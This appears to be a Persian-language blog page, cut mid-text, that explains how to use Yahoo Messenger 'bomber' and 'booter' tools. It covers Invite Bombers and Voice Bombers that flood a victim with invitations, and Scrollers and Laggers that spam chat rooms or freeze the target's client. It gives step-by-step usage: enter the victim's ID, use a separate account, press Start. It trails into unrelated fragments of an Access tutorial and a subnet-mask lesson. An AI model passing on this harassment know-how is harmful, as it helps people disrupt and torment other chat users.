البته لازم به تذکر است که چنانچه شما در Yahoo Messenger مشغول Chat کردن هستيد نمي توانيد با همان ID که در Yahoo Messenger هستيد Bomb کنيد بلکه بايد IDي غير از آنچه که در Yahoo Messenger داريد ، در اين برنامه ها وارد نماييد) توضيح مختصري در مورد کار اين Bomberها : تنها مزيت اين بمبرها اين است که سرعت بالايي دارند يعني در Invite Bomber با سرعت بسيار بالا Chat Invitation و در Voice Bomber با سرعت بسيار بالا Voice Invitation فرستاده مي شود . حال بايد بدانيم چگونه ؟ بسيار ساده است . Invite Bomberها فقط يک چمله که بدين صورت مي باشد [ /invite Victim ID ] را مرتباً در صفحه Chat Room مي فرستند و شخص مقابل به دفعات بالايي يه Chat Room ، Invite مي شود . و اما Voice Bomber که به دفعات زيادي درون PM شما با طرف مقابل ، Voice را باز و بسته مي نمايد . چگونگي استفاده از Bomberها : پس از دادن ID شخص مورد نظر فقط کافي است دکمه Start يا Go يا Enable را بزنيد و زمانيکه مي خواهيد آن را از کار باز داريد دکمه Stop يا Disable را بزنيد .(لازم بذکر است براي استفاده از Invite Bomber شما بايستي حتماً در يک Chat Room باشيد .) در ضمن Invite Bomber در Confrenceهاي شخصي قابل استفاده نيست .
اصطلاحات(Scroll , Lagg , Macro,...): ممکن است در برنامه هاي Booter با برخي از اصطلاحات بالا برخورد کنيد . زياد نگران نباشيد زيرا اينها در Boot حرفه اي تاثيري ندارند و هم چنين ما در اينجا به توضيح تک تک آنها خواهيم پرداخت : براحتي مي توانم بگويم که اين بخشها که در اکثر Booterها وجود دارد فقط براي سرگرمي است و جنبه Error ندارد ، پس چرا وقت خودمان را براي استفاده از آنها تلف کنيم ، البته برخي از Lagg ها بدليل حجم زياد و مخصوصا سرعت بالا در بعضي Chatها براي Boot کردن بد نيست اما من استفاده نکردن از اين بخش را بيشتر ترجيح مي دهم ! توضيحي در مورد Scroll و Scrollerها : اکثر Booterها ، يک بخش با نام Scroller را به خود اختصاص دادند که کار آن فقط Copy کردن يک جمله و فرستادن آن به Chat Room مي باشد . معني اين کلمه طومار مي باشد و کار آن نيز ماننيد معني اش مي باشد ، چنانچه يک جمله خاص که در خود برنامه موجود مي باشد و يا جمله دلخواه شما را براي دفعات زياد و تا زمانيکه آنرا Stop نکنيد به Chat Room مي فرستد : FazerX - Custom Scroller فقط بايد جمله مورد نظر خود را در قسمتي که خود برنامه مشخص شده بنويسيد و دکمه On را بزنيد و سپس براي از کار بازداشتن آن دکمه Off را بزنيد . يهمين سادگي !!! توضيحي در مورد Lagg و Laggerها : معني اين کلمه کند شدن ، کند رفتن و پايين آمدن سرعت است ، اين برنامه ها بدليل اينکه مقدار زيادي شکل Smileys با هم و به دفعات زياد به صفحه Chat Room مي فرستد و چو نجم پيغام را بالا مي برند سرعت فرستادن آن کم مي شود و ممکن است اگر کامپيوتر شما Ram کمي داشته باشد ، سيستم Windows شما هنگ کند . Macro چبست ؟ برخي از برنامه هاي Booter يک بخش به اين نام دارند . اما به هيچ دردي نمي خورد !!! يعني فقط يک شکل را براي شما نقاشي مي کند و براي سرگرمي چير خوبي است . |
نظرات ()
نظرات ()
نظرات ()
نظرات ()| آموزش اكسس ( بخش اول ) |
| |
|
مقدمه
|
نظرات ()|
مقدمه در اين درس Default Gateway , SubNet Mask را برسي خواهيم كرد، با Port ها آشنا شده و مهمترين آنها را معرفي مي كنيم. Subnet Mask چيست : Subnet Mask عددي است كه در واقع تعداد بيت (Bit) هاي Host ID و Net ID را مشخص مي كند و در كلاسهاي مختلف متفاوت است . اكنون
Subnet Mask هاي استاندارد را در كلاس هاي مختلف
مورد برسي قرار مي دهيم.
|
نظرات ()
نظرات ()